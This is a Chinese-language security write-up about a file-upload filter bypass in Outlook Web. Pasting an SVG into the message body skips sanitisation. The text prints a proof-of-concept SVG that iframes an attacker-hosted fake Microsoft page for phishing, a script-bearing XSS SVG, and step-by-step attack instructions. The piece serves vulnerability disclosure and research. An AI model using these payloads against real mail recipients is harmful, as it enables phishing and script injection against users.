前言
在对 Outlook Web 进行安全研究时,国外白帽小哥发现了一个异常行为,从而发现了一处安全漏洞。
本文将详细说明漏洞的发现过程、分析方法及产生原因,该漏洞微软正在修复,但该发现与分析过程对其它安全研究人员仍有借鉴意义。本文主要聚焦如何绕过文件上传限制。
漏洞发现过程
起初,白帽小哥想测试 Outlook Web 如何处理不同类型的文件,因此制作了一个 test.svg 文件,并通过两种方式将其附加到邮件中:
第一种方式:作为附件上传文件
- 上传 SVG 文件作为附件时,Microsoft 允许用户下载该文件
- 但某些情况下,这类文件上传会被阻止
第二种方式:将文件复制粘贴(Ctrl+C、Ctrl+V)到邮件正文
- 这时文件不会作为附件出现,而是直接显示在邮件正文中
- 也就是说,SVG 内容嵌入邮件正文,而没有任何安全过滤,且在收件人端直接加载
这种行为差异引起了作者的注意,决定深入调查。
技术分析:为何会出现此现象?
contentEditable 与 designMode 的作用
Outlook Web 邮件编辑区使用了 contentEditable 属性,允许直接插入 HTML 内容:
- 当上传 SVG 文件作为附件时,微软服务器会对文件进行处理并应用安全规则
- 但复制粘贴 SVG 文件时,内容直接作为 HTML 插入邮件正文,没有经过任何安全过滤
这意味着微软仅对上传的附件应用安全限制,而对粘贴进入的内容则不进行同样的检查。
contentEditable 是什么?如何工作?
contentEditable 是 HTML 属性,允许用户直接编辑任意 HTML 元素,类似文本编辑器。
Ctrl+C 和 Ctrl+V 在浏览器中发生了什么?
-
复制(Ctrl+C):
- 用户选中文件(如 test.svg)并复制时:操作系统将文件置入剪贴板
- Windows 和 macOS 上,相关数据(文件字节、元数据、MIME 类型如 image/svg+xml)被存储在系统的 Clipboard API 中
-
剪贴板 API 维护这些信息,浏览器可查询剪贴板中内容,可能包含文本、图片乃至完整文件
-
粘贴(Ctrl+V)至 Outlook Web 邮件正文时:
- 由于使用 contentEditable,浏览器检查剪贴板数据:判断剪贴板中是否带有文件或 HTML 内容
- 若存在文件(如 test.svg),浏览器会判断文件类型是否允许直接粘贴到 contentEditable 字段
- SVG 是基于 XML 的文本文件,浏览器将其当作 HTML 文本处理
- 结果是将 SVG 文件内容直接插入邮件正文,就如粘贴了一个 HTML 片段
因此,SVG 中的任何恶意代码都可被执行!
如何利用此行为进行攻击?
借助此漏洞,作者能够在 SVG 文件中植入代码,实现多种攻击,以下展示两处案例:
在 SVG 内嵌 iframe
一种限制是它不会使用IP或HTTP加载地址,所以白帽小哥不得不购买一个域名,然后托管了一个假页面(使用https):
https://yamikaza.com/fake.html
嵌入的 SVG 代码如下:
<svg width="100vw" height="100vh">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml" style="margin: 0; height: 100%;">
<iframe src="https://yamikaza.com/fake.html" width="100%" height="100%" style="border: none;"></iframe>
</body>
</foreignObject>
</svg>
该代码导致在 attachment.outlook.live.net 域中加载一个虚假页面,该页面可以向用户展示伪造的 Microsoft 官方页面。
执行 SVG 中的 JavaScript 脚本(XSS)
嵌入以下 SVG 代码:
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript">
alert(origin);
</script>
</svg>
以上JavaScript代码可在 attachment.outlook.live.net 域下顺利执行,虽然该域无法获取 outlook.live.com 的 Cookie,但依然存在跨站脚本攻击风险。
测试攻击步骤
- 保存恶意 SVG 文件
- 通过 Ctrl+C 和 Ctrl+V 粘贴到邮件正文
- 发送邮件
- 右键图片复制其链接
- Outlook 自动生成链接,攻击者可用该链接进行钓鱼或其它利用
结论
本研究揭示了上传文件与粘贴内容在安全策略上的差异,导致安全漏洞的出现。安全研究人员应关注并深入调查此类异常行为,因为微小差异可能带来重大安全隐患。
原文:https://infosecwriteups.com/new-technique-bypass-file-upload-4c18cef9f9ed